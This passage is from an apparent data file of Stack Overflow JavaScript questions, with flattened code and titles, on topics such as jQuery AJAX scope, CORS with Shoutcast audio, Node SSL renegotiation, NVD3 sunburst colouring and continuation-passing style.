( as in unix commandline pipes ) or streams : vs Except that the piping is much , much cleaner . With piping , it seems obvious that the data is passed on , and simultaneously execution is passed to the receiving program . In fact with piping , I expect the stream of data to be able to continue to pass down the pipe , whereas in CPS I expect a serial process . It is imaginable , perhaps , that CPS could be extended to continuous piping if a comms object and update method was passed along with the data , rather than a complete handover and return.Am I missing something ? Is CPS different ( better ? ) in some important way ? To be clear , I mean continuation-passing , where one function passes execution to another , not just plain callbacks . CPS appears to imply passing the return value of a function to another function , and then quitting . replace ( 'somestring ' , 'somepattern ' , filter ( str , console.log ) ) ; echo 'somestring ' | replace 'somepattern ' | filter | console.log",Is continuation passing style any different to pipes ? "JS : I 'm no professional in JavaScript and I 've seen searching a long time for this on the internet . I 'm having a problem getting a variable from another function . My code is looking like this : The variable variabeltje must get the information from data . When I put the alert below variabeltje=data it 's working , but I need the data variable after the function.Edit : I have changed it to what people said , I now have this : But now the $ ( this ) is n't passing into the function . How can I solve this ? var variabeltje ; $ .post ( 'js/ajax/handle_time.php ' , { 'time ' : $ ( this ) .find ( 'input ' ) .val ( ) } , function ( data ) { alert ( data ) ; variabeltje=data ; } ) ; alert ( window.variabeltje ) ; var XHR = $ .post ( 'js/ajax/handle_time.php ' , { time : $ ( this ) .find ( 'input ' ) .val ( ) } ) ; XHR.done ( function ( data ) { console.log ( data ) ; getData ( data ) ; } ) ; function getData ( data ) { if ( data == 'true ' ) { alert ( data ) ; $ ( this ) .unbind ( 'keypress ' ) ; $ ( this ) .html ( $ ( this ) .find ( 'input ' ) .val ( ) ) ; } }",JavaScript get variable from function "JS : I am just learning jQuery and came across a problem that stumped me . I need to move , add & name divs with out affecting the content.I have a single fixed width WRAPPER div with SECTION divs inside . This is what it looks like : What I need is each SECTION to have it 's own WRAPPER div plus add a CONTAINER div around each wrapper . The ID # for WRAPPERS and CONTAINERS need to auto increase because the SECTIONS are dynamically added . This is what I imagine.Thank you guys ! < body > < div id= '' whitewrap '' > < div id= '' wrapper-1 '' class= '' wrapper '' > < div class= '' clearfix '' > < section id= '' block-1 '' > < h1 > Title < /h1 > < p > Some wonderful content. < /p > < /section > < ! -- # block-1 -- > < section id= '' block-2 '' > < h1 > Title < /h1 > < p > Some wonderful content. < /p > < /section > < ! -- # block-2 -- > < section id= '' block-3 '' > < h1 > Title < /h1 > < p > Some wonderful content. < /p > < /section > < ! -- # block-3 -- > < /div > < ! -- .clearfix -- > < /div > < ! -- # wrapper-1 -- > < /div > < ! -- # whitewrap -- > < /body > < body > < div id= '' whitewrap '' > < div id= '' container-1 '' > < div id= '' wrapper-1 '' class= '' wrapper '' > < div class= '' clearfix '' > < section id= '' block-1 '' > < h1 > Title < /h1 > < p > Some wonderful content. < /p > < /section > < ! -- # block-1 -- > < /div > < ! -- .clearfix -- > < /div > < ! -- # wrapper-1 -- > < /div > < ! -- # container-1 -- > < div id= '' container-2 '' > < div id= '' wrapper-2 '' class= '' wrapper '' > < div class= '' clearfix '' > < section id= '' block-2 '' > < h1 > Title < /h1 > < p > Some wonderful content. < /p > < /section > < ! -- # block-2 -- > < /div > < ! -- .clearfix -- > < /div > < ! -- # wrapper-2 -- > < /div > < ! -- # container-2 -- > < div id= '' container-3 '' > < div id= '' wrapper-3 '' class= '' wrapper '' > < div class= '' clearfix '' > < section id= '' block-3 '' > < h1 > Title < /h1 > < p > Some wonderful content. < /p > < /section > < ! -- # block-3 -- > < /div > < ! -- .clearfix -- > < /div > < ! -- # wrapper-3 -- > < /div > < ! -- # container-3 -- > < /div > < ! -- # whitewrap -- > < /body >",Wrapping nested < div > with incrementing ids around elements in jQuery "JS : I have a problem I 've been working on for a while now with no real headway . I am currently trying to load my Shoutcast stream into my Web Audio API Context . I figured it would violate the CORS and I was right . I tried both through an XHR Request and then again through loading an audio element into the script . It worked with the audio element , but died when trying to load it into the script . It seems my only option is to try and somehow add the CORS headers to the stream that my Shoutcast is serving.I have no idea how to do this and have had no luck finding resources online . If anyone can give me some advice on this it would be much appreciated ! var audioCtx = new ( window.AudioContext || window.webkitAudioContext ) ( ) ; var soundSource , concertHallBuffer ; ajaxRequest = new XMLHttpRequest ( ) ; ajaxRequest.open ( 'GET ' , 'http : //127.0.0.1:8000/ ; stream.mp3 ' , true ) ; ajaxRequest.responseType = 'arraybuffer ' ; ajaxRequest.onload = function ( ) { var audioData = ajaxRequest.response ; console.log ( audioData ) ; audioCtx.decodeAudioData ( audioData , function ( buffer ) { concertHallBuffer = buffer ; soundSource = audioCtx.createBufferSource ( ) ; soundSource.buffer = concertHallBuffer ; soundSource.connect ( audioCtx.destination ) ; soundSource.loop = true ; soundSource.start ( ) ; } , function ( e ) { `` Error with decoding audio data '' + e.err } ) ; } ajaxRequest.send ( ) ;",Shoutcast + Web Audio API CORS issue "JS : I want to break a string into two lines , but the line should not break into two , at the half of a word . How can I do this ? The string format is like this : Expected output is : var words= '' value.eight.seven.six.five.four.three '' `` value.eight.seven.six.five.four.three ''",Break the string into two lines "JS : If I put a function into a string like this : Is there any way to convert the string back to a function and call it ? I triedwhich returns `` Uncaught SyntaxError : Unexpected token '' , and which returns 'undefined is not a function ' . Is that even possible in javascript ? Thanks in advance for any reply ! EDIT : The point of this question is that the function has been converted into a string using toString ( ) . So returns this string : '' function ( message ) { console.log ( message ) ; } '' Can I transform the string back into a function and call it ? That 's the problem I am trying to solve.Thanks ! var functionString = function ( message ) { console.log ( message ) ; } .toString ( ) ; eval ( functionString ) functionString.call ( this , `` HI ! `` ) ; console.log ( functionString ) ;",Call javascript function encoded in a string "JS : I 'm trying to set an event that fires when anything WITHOUT the .four class is clicked . However , it fires when things with the .four class are clicked , even though I 'm using e.stopPropagation ( ) .​ ( jsFiddle Demo ) This does not work either : Both output : Something without class 'four ' was clicked that had class : fourI 'm having tons of trouble with : not ( ) and I suspect a lot of it might have to do with my browser supporting CSS3 : not ( ) now , but I still ca n't understand this simple issue . $ ( `` html '' ) .one ( `` click '' , `` : not ( .four ) '' , function ( e ) { e.stopPropagation ( ) ; console.log ( `` Something without class 'four ' was clicked that had class : `` + $ ( e.srcElement ) .attr ( `` class '' ) ) ; } ) ; $ ( `` html '' ) .not ( '.four ' ) .on ( `` click '' , function ( e ) {",Why is n't the jquery : not ( ) selector working as I expect it to ? "JS : I am looking to iterate through an array of users ( with only the id property set ) , call an endpoint every two seconds with each id , and store the associated user 's name from the response into an updated array.e.g . update [ { id : 1 } ] to [ { id : 1 , name : `` Leanne Graham '' } ] Here is my code : Everything works great without the setTimeout , but it 's important that I only send a request every two seconds . So for three users , I would like to see the result from my Promise.all log after six seconds or so.Worth noting : This is not the actual problem I am working on , but the easiest example I could come up with to help highlight the issue . const axios = require ( 'axios ' ) ; const users = [ { id : 1 } , { id : 2 } , { id : 3 } ] ; function addNameToUser ( user ) { return new Promise ( ( resolve ) = > { axios.get ( ` https : //jsonplaceholder.typicode.com/users/ $ { user.id } ` ) .then ( response = > { user.name = response.data.name resolve ( user ) ; } ) ; } ) } const requests = users.map ( ( user , index ) = > { setTimeout ( ( ) = > { return addNameToUser ( user ) ; } , index * 2000 ) ; } ) ; Promise.all ( requests ) .then ( ( updatedArr ) = > { console.log ( updatedArr ) ; } ) ;","Using array.map , promises , and setTimeout to update an array" JS : I am having a select box like this If am changing dropdown values carName function is calling and working as expected . If suppose I change the value using jQuery like thisI want that carName ( ) function to be called.How can I do this ? < select class= '' cars '' onChange= '' carName ( ) '' > < option value= '' volvo '' > Volvo < /option > < option value= '' saab '' > Saab < /option > < option value= '' mercedes '' > Mercedes < /option > < option value= '' audi '' > Audi < /option > < /select > $ ( '.cars ' ) .val ( 'Audi ' ) ;,how can i call select box on change while changing select value using jquery ? "JS : I have a problem with WebStorm syntax highlighting . I created valid GraphQL query which works on localhost app but WebStorm says that unknown field `` familyMembers '' on object type `` Query '' and highlights the whole query in red.I am really confused but maybe I should change something inside apollo.config.js - if yes please tell me what.HelloWorld.vueapollo.config.jsSome screenshots : < script > import gql from 'graphql-tag ' ; export default { apollo : { familyMembers : gql ` query familyMembers { familyMembers { id firstName lastName } } ` } , name : 'HelloWorld ' , props : { msg : String } } < /script > module.exports = { client : { service : { name : 'vav ' , // URL to the GraphQL API url : 'http : //localhost:4000 ' , } , // Files processed by the extension includes : [ 'src/**/*.vue ' , 'src/**/*.js ' , ] , } , } ;",Why WebStorm show errors in gql query inside apollo object in Vue component or .grapgql files "JS : I 'm new to node.js and I have a simple https server running . Now when a user requests a certain context path the server should initiate a SSL renegotiation and ask for a client certificate authentication . I saw that this is supported in node.js 0.11.8 and higher.I tried this so far , but a renegotiation is not happening . Not even an error is thrown.Thank you for your support . var https = require ( 'https ' ) ; var fs = require ( 'fs ' ) ; var optSsl = { key : fs.readFileSync ( 'ssl/server/keys/server.key ' ) , cert : fs.readFileSync ( 'ssl/server/certs/server.crt ' ) , ca : fs.readFileSync ( 'ssl/ca/ca.crt ' ) , requestCert : false , rejectUnauthorized : true , ciphers : 'ECDH+AESGCM : DH+AESGCM : ECDH+AES256 : DH+AES256 : ECDH+AES128 : DH+AES : ECDH+3DES : DH+3DES : RSA+AESGCM : RSA+AES : RSA+3DES : ! aNULL : ! MD5 : ! DSS ' , honorCipherOrder : true } ; var optClientAuth = { requestCert : true , rejectUnauthorized : true } ; var server = https.createServer ( optSsl , function ( req , res ) { res.writeHead ( 200 ) ; res.end ( `` Hello World\n '' ) ; } ) ; server.on ( 'request ' , function ( req , res ) { console.log ( 'request emitted on ' + req.url ) ; if ( req.url == '/secure ' ) { try { var socket = req.connection ; socket.renegotiate ( optClientAuth , function ( err ) { if ( ! err ) { console.log ( req.connection.getPeerCertificate ( ) ) ; } else { console.log ( err.message ) ; } } ) ; } catch ( err ) { console.log ( err ) ; } } ; } ) ; server.on ( 'secureConnection ' , function ( socket ) { console.log ( 'Secure connection established ' ) ; } ) ; server.listen ( 8443 ) ;","How to use tlsSocket.renegotiate ( options , callback ) in Node.js 0.11.8 and higher" "JS : I am trying to create a function that looks to see if any of the characters in an array are in a string , and if so , how many.I have tried to calculate every pattern , but there is too much . I tried using the alternative to the `` in '' operator from Python , but that did n't work out as wellThe element is the string , and the fitness_let array is the array of things that I need to check to see if they are in the string , and if so , how many . function calc_fit ( element ) { var fitness_let = [ `` e '' , `` l '' , `` m '' , `` n '' , `` t '' ] } }",How to count the number of times specific characters are in a string "JS : I am trying to use the `` Save Page Feature '' to make a bookmarklet that allows a user to push a page to the Internet Archive with a single click.From what I 've gathered , if I post to It 'll save the page at fullURI ( i.e . fullURI=http : //www.google.com with all the slashes ) So I wrote the following bookmarklet ( white space added for clarity and javascript : removed to force syntax highlighting ) Fiddle here.So everything swims along , opens a new page , tries a post , and boom , CORS error ( oddly from the parent page , not the new window ) .Funnily enough I also found that if I open a new window , and paste the URI in , it works , but if I do a window.open ( URI ) it says please try a POST.So at this point I 'm open to ideas . Is there a good , cross-browser bookmarklet solution to this ? Did I overlook something simple trying to reinvent the wheel ? FWIW I 'm on Chrome 30 when I try pasting the URI . http : //web.archive.org/save/fullURI ( function ( ) { var u='http : \/\/web.archive.org\/save\/'+encodeURI ( window.location.href ) ; var w = window.open ( `` , `` ) ; w.document.write ( ' < script > var u = \ '' + u +'\ ' ; var x = new XMLHttpRequest ( ) ; x.open ( \'POST\ ' , u , true ) ; x.send ( ) ; < \/script > ' ) } ) ( ) ;",Posting to Wayback Machine Via Bookmarklet "JS : I ca n't reset observable array with new value am using some lazy loading Technic.I can clear but ca n't reset , but it not allowing me to add new dynamic value.fiddlehttp : //jsfiddle.net/kspxa8as/jsHTMLI am a newbie to knockout , great welcome your answers . var i = 1 ; optionsProvider = function ( self ) { var self = self || { } ; self.options = { } ; self.get = function ( name , initialValue ) { if ( ! self.options [ name ] ) { console.log ( `` Called - `` + name ) ; self.options [ name ] = ko.observableArray ( [ initialValue ] ) ; var requestHeader = `` ; setTimeout ( function ( ) { var aa = [ { name : `` plant 1 '' + i , selected : true } , { name : `` palnt 2 '' + i , selected : false } ] ; self.options [ name ] ( aa ) ; i++ ; } , 2000 ) ; } return self.options [ name ] ; } ; return self ; } ; ViewModel = function ( ) { var self = this ; var k = 1 ; var ob = new optionsProvider ( self ) ; self.PlantSelected = ob.get ( `` name '' + k , `` ) ; self.fillNewSelect = function ( ) { self.PlantSelected.removeAll ( ) ; self.PlantSelected ( ) .push ( ob.get ( `` name '' + k , `` ) ) ; k++ ; } ; } ; ko.applyBindings ( new ViewModel ( ) ) ; < select class= '' n_imported_country '' data-bind= '' options : PlantSelected , optionsText : 'name ' `` > < /select > < div data-bind= '' click : function ( ) { $ root.fillNewSelect ( ) ; } '' > click to fill new select value < /div >",Knockout - How to reset Dynamic observable array with new value "JS : I 'm trying to complete something that should be fairly simple , in my opinion . And it also is , when using something like a text input . I 'm trying to create model binding , on a textarea , where the value , when the user is typing , is shown with a prefix and a suffix . The prefix and suffix being quotation marks : The problem is , that i 'm currently using ng-model , which i ofcourse can not use for this . I was thinking about binding to a variable , holding the value without the prefix and suffix , and then watching that variable . When the variable , with the original value , then changes , i would write the value with a pre and suffix to another variable , on the scope . That variable would then be shown in the textarea , as the user types . The only problem is , that a textarea , unlike an input field , does n't have a value property.Is this even possible ? EDITIf i where to achieve this with an input text field , i would create a variable called A , to hold the raw value that changes when the user is typing . When A changes , i would then take the raw value , put quotes around it and store that new value in another variable , also on the scope . That new variable is called BThe input field would then use ng-bind on the A variable , and show the content from the B variable , using the input fields value attribute . Something like below : I do n't have time to create a fiddle right now , but i will try to do it later this week . The description above is all in theory , as i have not tested it yet . “ My awesome quote ” < input type= '' text '' ng-bind= '' A '' value= '' { { B } } '' >","Textarea ng-bind , where value has a prefix and suffix" "JS : I wrote a simple script that take a frame from a video and draw it to a canvas . My problem is that the colors are changing between the video and the drawn image.I put here the result next to the original to make it easier to see . The original one is on the left . It 's seems to be way more visible on chrome browser btw . All the test I made where on OSX.Here a snippet , canvas on left , video on right : I 'd like to know why this thing happen , and if it possible to get rid of it in a cross browser way ? Here the simple script I wrote : // Get our mask imagevar canvas = document.querySelector ( `` .canvas '' ) ; var video = document.querySelector ( `` .video '' ) ; var ctx = canvas.getContext ( '2d ' ) ; function drawMaskedVideo ( ) { ctx.drawImage ( video , 0 , 0 , video.videoWidth/2 , video.videoHeight , 0,0 , video.videoWidth/2 , video.videoHeight ) ; } requestAnimationFrame ( function loop ( ) { drawMaskedVideo ( ) ; requestAnimationFrame ( loop.bind ( this ) ) ; } ) ; html , body { margin : 0 auto ; } .video , .canvas { width : 100 % ; } .canvas { position : absolute ; top : 0 ; left : 0 ; } < video class= '' video '' autoplay= '' autoplay '' muted= '' muted '' preload= '' auto '' loop= '' loop '' > < source src= '' http : //mazwai.com/system/posts/videos/000/000/214/original/finn-karstens_winter-wonderland-kiel.mp4 '' type= '' video/mp4 '' > < /video > < canvas class='canvas ' width='1280 ' height='720 ' > < /canvas > let video = document.querySelector ( ' # my-video ' ) // .mp4 file usedlet w = video.videoWidth ; let h = video.videoHeight ; let canvas = document.createElement ( 'canvas ' ) ; canvas.width = w ; canvas.height = h ; let ctx = canvas.getContext ( '2d ' ) ; ctx.drawImage ( video , 0 , 0 , w , h ) document.querySelector ( '.canvas-container ' ) .appendChild ( canvas ) ;",drawImage in canvas from a video frame change the hue "JS : There seem to be many different ways of doing OO in JavaScript.I like : and have never used features beyond what this provides ( despite being a proficient OOer ) . I suspect this is old fashioned , because every so often I see new spangled variants , and it makes me wonder if I 'm choosing the best approach . For instance , you can do magic in the constructor method to create private variables and accessor methods , something I believed ( until relatively recently ) to be impossible . What about subclassing ? I would n't know how to achieve this , but it must have some sort of common pattern by now.How do you do it and why ? function ClassA ( ) { } ; ClassA.prototype= { someFunc : function ( a , b , c ) { } , otherFunc : function ( ) { } } var c=new ClassA ( ) ;",Javascript OO syntax "JS : Basically I 'm trying to find all the elements with a particular class name and switch it to another . I have another function that switches this back to the original class name . Here 's my function that 's triggered with an onclick : I 'm getting an error saying myObj [ 0 ] is undefined . Any idea why this is happening ? As a note , we 're using Dojo , hence the last line of the function . I know I could easily do this with jQuery , but we 're not using it and it does n't make sense to load another framework . Thanks in advance for your help . EDITThanks to the help from Abhishek Mishra , I modified how I 'm handling this loop and found a way to do it with JUST dojo , which is what I preferred . Here 's the code : Much simpler code and a lot lighter than my previous solution . Thanks for all your help . I hope this helps someone else . function showEventsAppliedTo ( ) { var myObj = document.getElementsByClassName ( 'notApplied ' ) ; while ( myObj.length > = 0 ) { myObj [ 0 ] .className = 'mblListItem notAppliedOut ' ; } AppliedToButton.set ( 'style ' , 'display : none ; ' ) ; EventListingButton.set ( 'style ' , 'display : block ; ' ) ; } function listingClassToggle ( ) { dojo.query ( `` .notApplied '' ) .addClass ( `` notAppliedOut '' ) ; dojo.query ( `` .notApplied '' ) .removeClass ( `` notApplied '' ) ; }",Change css class for all elements with said class with Javascript "JS : I 'm trying to achieve a `` getOrCreate '' behavior using `` findAndModify '' .I 'm working in nodejs using the native driver.I have : What i was trying to do is : '' Find specific match with specified users , lang and category ... if not found , insert a new one with specified data '' Mongo is throwing this error : Is there a way to make it work ? It 's impossible ? Thank you : ) var matches = db.collection ( `` matches '' ) ; matches.findAndModify ( { //query users : { $ all : [ userA_id , userB_id ] } , lang : lang , category_id : category_id } , [ [ `` _id '' , `` asc '' ] ] , //order { $ setOnInsert : { users : [ userA_id , userB_id ] , category_id : category_id , lang : lang , status : 0 } } , { new : true , upsert : true } , function ( err , doc ) { //Do something with doc } ) ; Error getting/creating match { [ MongoError : exception : can not infer query fields to set , path 'users ' is matched twice ] name : 'MongoError ' , message : 'exception : can not infer query fields to set , path \'users\ ' is matched twice ' , errmsg : 'exception : can not infer query fields to set , path \'users\ ' is matched twice ' , code : 54 , ok : 0 }",Can not infer query fields to set error on insert "JS : I saw a piece of code that stuck me as odd.What does switch ( ! 0 ) mean in javascript ? What are some cases where this technique would be useful to use ? jsTree uses it in a few places but it looks foreign . I 'm sure it has a good reason behind it , but ca n't figure it out.http : //www.jstree.com/Here is a clip of code : switch ( ! 0 ) { case ( ! s.data & & ! s.ajax ) : throw `` Neither data nor ajax settings supplied . `` ; case ( $ .isFunction ( s.data ) ) : // ... break ; }",switch ( ! 0 ) What does it mean "JS : The first is understandable , for `` this '' is pointed to Object `` b '' . But why does the second one log the same result ? I thought `` this '' should be pointed to the global execution context . And the third one , it seems that the comma operator influences the execution context . var a = 1 ; var b = { a : 2 , c : function ( ) { console.log ( this.a ) ; } } ; b.c ( ) ; // logs 2 ( b.c ) ( ) ; // logs 2 ( 0 , b.c ) ( ) ; // logs 1",Does the comma operator influence the execution context in Javascript ? "JS : I was Creating an WebApp which requires to take Percentages of various Chemicals like ( HCl [ Hydrochloric acid ] , NaOH [ Sodium Hydroxide ] etc ) as Input from User.So Here is what I 'm Doing to do that in HTML : and this works fine in most of the cases , But Now My Client have an requirement of Entering Percentage of Chemicals like H2SO4 , SiO2 etc . So Here is what I 've Used for that : FiddleBut with No Success.So Now I have a question : How can we Format placeholders of html input to show Formatted Text like the one mentioned here ? I know the possible solution to this scenario is : Use label outside of < input > which will have that formatted text inside it like : Fiddle and also I 'm using this approach right now ; But Still I 'm curious in knowing can it be done with placeholders too ? Using CSS or CSS3 ? If not Then using JS ? Any suggestions are welcome . Hope Experts will help me with this . Thanks in advance : ) ! < input type='text ' value= '' name='hcl ' placeholder='Enter HCl % ' / > < input type='text ' placeholder= ' H < sub > 2 < /sub > O ' / > < label for='h2o ' > Enter H < sub > 2 < /sub > O % : < /label > < input id='h2o ' type='text ' / >",html5 - using formatted placeholder for scientific inputs "JS : I 'm trying to create a SVG element in JS then append it to the DOM . The SVG element references a symbol though . I can achieve this using the insertAdjacentHTML method but not through appendChild method . When using appendChild , all the right stuff is on the DOM according to browser inspectors but it 's not rendered correctly . Can anyone see why ? http : //codepen.io/bradjohnwoods/pen/dGpqMb ? editors=101 < svg display= '' none '' > < symbol id= '' symbol -- circle -- ripple '' viewBox= '' 0 0 100 100 '' > < circle cx= '' 50 '' cy= '' 50 '' r= '' 25 '' / > < /symbol > < /svg > < button id= '' btn '' > < /button > < script > var btn = document.getElementById ( 'btn ' ) ; //var myString = ' < svg > < use xlink : href= '' # symbol -- circle -- ripple '' width= '' 100 '' height= '' 100 '' class= '' btn -- ripple__circle '' > < /use > < /svg > ' ; //btn.insertAdjacentHTML ( 'afterbegin ' , myString ) ; var svg = document.createElement ( 'svg ' ) ; var use = document.createElement ( 'use ' ) ; use.setAttribute ( `` xlink : href '' , `` # symbol -- circle -- ripple '' ) ; use.setAttribute ( `` width '' , `` 100 '' ) ; use.setAttribute ( `` height '' , `` 100 '' ) ; use.classList.add ( `` btn -- ripple__circle '' ) ; svg.appendChild ( use ) ; btn.appendChild ( svg ) ; < /script >",SVG scripting with < symbol > "JS : A while back webkit ( and thus Safari ) began to support CSS canvas-backgrounds for elements ( Source : http : //www.webkit.org/blog/176/css-canvas-drawing/ ) .This could greatly simplify the creation of games and multimedia , in that you dont need to inject a canvas-tag into a DIV ( for instance ) , but simply hook into the background of the DIV directly . Something like this perhaps : I was wondering , are there any speed penalties involved in this ? In theory i think drawing to a background canvas should be faster than drawing to a canvas tag , especially if the target element is empty.Have anyone tested this for high-speed demos or games ? < div id= '' gameview '' style= '' background : -webkit-canvas ( myscreen ) ; width : 320px ; height : 480px ; '' > < /div > < script > var target = document.getElementById ( `` gameview '' ) ; var wd = target.clientWidth ; var hd = target.clientHeight ; var context = document.getCSSCanvasContext ( `` 2d '' , `` myscreen '' , wd , hd ) ; /* draw stuff here */ < /script >",Performance of background-canvas vs. regular canvas "JS : The MDN article on JavaScript blocks gives this example : As you can see JavaScript does n't have block scope . So are there any good use cases for standalone blocks in JavaScript ? By `` standalone '' I mean not paired with a control flow statement ( if , for , while , etc . ) or a function . var x = 1 ; { var x = 2 ; } alert ( x ) ; // outputs 2",Do standalone JavaScript blocks have any use ? "JS : Firstly , I am by no means versed in JavaScript or jQuery . That being said , I 'm using Gravity Forms to create a savings calculator that contains exponents . I found THIS thread , but am confused as to how it actually works in calculating an exponential value.Here 's my setup : I have 3 user-defined fields : Principal amountInterest rateNumber of monthly paymentsThe actual calculations are hidden from the user . There are two formulas calculating at once here . The first is the 'User calculations ' working to find a 'Total Interest ' . The second is a 'Fixed calculations ' with a fixed interest rate of 1.95 % , instead of the user-defined field , working towards the same goal . The fixed rate aside , both formulas are identical , and the results of which are incorporated into a final formula free of exponents . Thankfully . Here are the first three 'Number ' fields ( name & formula ) after the user input : The formula goes on and incorporates the MP exponent field multiple times . Given my case here , can I even use the aforementioned script ( unedited from its source post ) : ... for my calculation ? I 'm not at all sure how to specify something like this in 4 separate fields ... I understand this may not be possible with Gravity Forms - or certainly not simple - so I greatly appreciate any help the community may offer me . 'CALC ' < br > ( { Interest rate : :2 } / 12 ) / 100'MP exponent ' ( 1 + { CALC:8 } ) < -- -This is the formula that requires an exponent equal to the user-defined `` Number of monthly payments '' field . 'MP numerator ' { CALC:8 } * { Principal amount : :1 } * { MP exponent:10 } < script > gform.addFilter ( 'gform_calculation_result ' , function ( result , formulaField , formId , calcObj ) { if ( formulaField.field_id == `` 2 '' ) { var field_five = jQuery ( ' # input_2_5 ' ) .val ( ) ; result = field_five * 12 ; } return result ; } ) ; < /script >",Using exponents in Gravity Forms calculations "JS : I 'm able to set an HTTP proxy just fine for NightmareJS but how do I specify the type ( http/socks5/socks4 ) ? Here 's the code I use to set an HTTP proxy : const nightmare = Nightmare ( { show : true , switches : { 'proxy-server ' : proxyHost + ' : ' + proxyPort , 'ignore-certificate-errors ' : true } , waitTimeout : 400000 } ) ;",Specify SOCKS Proxy For NightmareJS ? "JS : When you are writing complex jQuery/javascript , how do you manage using this without re-defining this variables that were previously defined ? Do you have a rule of thumb or a personal preference for naming your this variables ( as the nesting gets deeper ) ? There are times where I want variables from a higher scope to be available to nested functions/callbacks , but then there are times when I 'd like to have a clean slate/scope ; is there a good way to call functions/callbacks without having to worry about variable collisions ? If so , what technique ( s ) do you use ? Some super silly test code : A full demo page can be found here ( jsbin.com ) .Note : As you can see , I 've `` marked '' the comments with numbers ( # XX ) for easy reference.Observation 1 : Marker ( # 1 ) Rhetorical question : Why is $ this undefined , but $ dog is accessible ? Answer : Because the var within that scope is re-defining $ this ; it 's just that I 'm trying to log $ this before its been defined within that scope.If I comment out var $ this = $ ( this ) ; , then the marker ( # 1 ) returns : The same logic applies to markers ( # 2 ) , ( # 3 ) , ( # 4 ) , ( # 5 ) , ( # 6 ) , ( # 7 ) and ( # 8 ) .Based on this observation ( and please correct me if I 'm wrong here ) I 'm assuming that I could put var $ this = $ ( this ) ; at the bottom of the function , and the current scope would know that I want to use the current scope 's $ this ( even though it 's not defined yet ) , and not the parent 's $ this ( even though it IS defined ) .POSSIBLE SOLUTION TO AVOIDING $ this CONFLICTS : If one wants to cache $ ( this ) outside/within other closures/functions/callbacks and avoid collisions , then one should use different variable labels like these ( for example ) : QUESTION : Is the solution above how you would avoid $ this collisions ? If not , what 's your prefered technique ? Observation 2 : Marker ( # 9 ) ... $ this is undefined for reasons mentioned above , but : ... $ this is now $ ( ' # foo ' ) ! QUESTION ( S ) : Exactly why did this happen ? Is it because $ this was re-defined via marker ( # 10 ) ? ( Hmmm , I feel like I need to Google `` garbage collection in javascript '' . ) Again , when writing complex jquery/javascript , what 's the best way to avoid this type of variable collision ? I hope these are n't horrible questions . Thanks in advance for taking the time to help me out . : ) $ ( document ) .ready ( function ( ) { console.warn ( 'start ' ) ; var $ this = $ ( this ) , $ dog = $ ( ' # dog ' ) , billy = function ( ) { console.log ( 'BILLY ! ' , 'THIS : ' , $ this , ' | ' , 'DOG : ' , $ dog ) ; var $ this = $ ( this ) ; console.log ( 'BILLY ! ' , 'THIS : ' , $ this , ' | ' , 'DOG : ' , $ dog ) ; } ; // ( # 1 ) billy ( ) ; // BILLY ! THIS : undefined | DOG : jQuery ( p # dog ) // BILLY ! THIS : jQuery ( Window /demos/this/ ) | DOG : jQuery ( p # dog ) console.log ( 'THIS : ' , $ this , ' | ' , 'DOG : ' , $ dog ) ; // THIS : jQuery ( Document /demos/this/ ) | DOG : jQuery ( p # dog ) // ( # 2 ) billy ( ) ; // BILLY ! THIS : undefined | DOG : jQuery ( p # dog ) // BILLY ! THIS : jQuery ( Window /demos/this/ ) | DOG : jQuery ( p # dog ) $ ( ' # foo ' ) .slideUp ( function ( ) { // ( # 3 ) console.log ( 'THIS : ' , $ this , ' | ' , 'DOG : ' , $ dog ) ; // BILLY ! THIS : undefined | DOG : jQuery ( p # dog ) var $ this = $ ( this ) ; // ( # 10 ) // ( # 4 ) console.log ( 'THIS : ' , $ this , ' | ' , 'DOG : ' , $ dog ) ; // BILLY ! THIS : jQuery ( Window /demos/this/ ) | DOG : jQuery ( p # dog ) } ) ; $ ( ' # clickme ' ) .click ( function ( ) { // ( # 5 ) console.log ( 'THIS : ' , $ this , ' | ' , 'DOG : ' , $ dog ) ; // THIS : undefined | DOG : jQuery ( p # dog ) var $ this = $ ( this ) ; // ( # 6 ) console.log ( 'THIS : ' , $ this , ' | ' , 'DOG : ' , $ dog ) ; // THIS : jQuery ( button # clickme ) | DOG : jQuery ( p # dog ) $ ( ' # what ' ) .animate ( { opacity : 0.25 , left : '+=50 ' , height : 'toggle ' } , 500 , function ( ) { // ( # 7 ) console.log ( 'THIS : ' , $ this , ' | ' , 'DOG : ' , $ dog ) ; // THIS : undefined | DOG : jQuery ( p # dog ) var $ this = $ ( this ) ; // ( # 8 ) console.log ( 'THIS : ' , $ this , ' | ' , 'DOG : ' , $ dog ) ; // THIS : jQuery ( div # what ) | DOG : jQuery ( p # dog ) } ) ; } ) ; // ( # 9 ) billy ( ) ; // THIS : undefined | DOG : jQuery ( p # dog ) // THIS : jQuery ( div # foo ) | DOG : jQuery ( p # dog ) console.warn ( 'finish ' ) ; } ) ; BILLY ! THIS : undefined | DOG : jQuery ( p # dog ) BILLY ! THIS : jQuery ( Document index2.html ) | DOG : jQuery ( p # dog ) BILLY ! THIS : jQuery ( Document index2.html ) | DOG : jQuery ( p # dog ) var $ $ = $ ( this ) ; var $ this2 = $ ( this ) ; var $ t = $ ( this ) ; var $ that = $ ( this ) ; THIS : undefined | DOG : jQuery ( p # dog ) THIS : jQuery ( div # foo ) | DOG : jQuery ( p # dog )",jQuery and `` this '' management ? How to avoid variable collisions ? "JS : I am working with NVD3 to make a sunburst chart . I 'm new to D3 in general so I 'm using NVD3 to abstract some of the more complicated things away . Right now I am working with a simple example I got from the web , but am trying to color the nodes ( arcs ) based on the size attribute in the JSON . I know that NVD3 has the option to use a color function in the chart options so that 's what I tried to use like so : But as you can see from the plunker I am working on that results in just gray , because it is n't actually getting a value from d.size ( it 's just undefined and I 'm not sure why ) .Using regular D3 which I am trying to avoid , I can get the desire result from this : I had modified a regular D3 sunburst example to get that with the desired result : I know the labels are jacked up but that is n't important here . I 'd just like to get the same result as regular D3 but with the abstraction of NVD3 . I have n't found any good examples that mention using the color : function ( ) at all . Thanks in advance . chart : { type : 'sunburstChart ' , height : 450 , color : function ( d ) { if ( d.size > 3000 ) { return `` red '' ; } else if ( d.size < = 3000 ) { return `` green '' ; } else { return `` gray '' ; } } , duration : 250 } var path = g.append ( `` path '' ) .attr ( `` class '' , '' myArc '' ) .attr ( `` d '' , arc ) .attr ( `` name '' , function ( d ) { return `` path Arc name `` + d.name ; } ) .style ( `` fill '' , function ( d ) { if ( d.size > 3000 ) { return `` green '' ; } else if ( d.size < 3000 ) { return `` red '' ; } else { return `` gray '' ; } } ) .on ( `` click '' , click ) ... //etc",Color each arc of sunburst based on size value "JS : I realise there is a lot of topics on this subject but I believe this one is different : The goal is to get an value from an array on a random location then delete this value.I use this part by John Resig ( the creator of jQuery 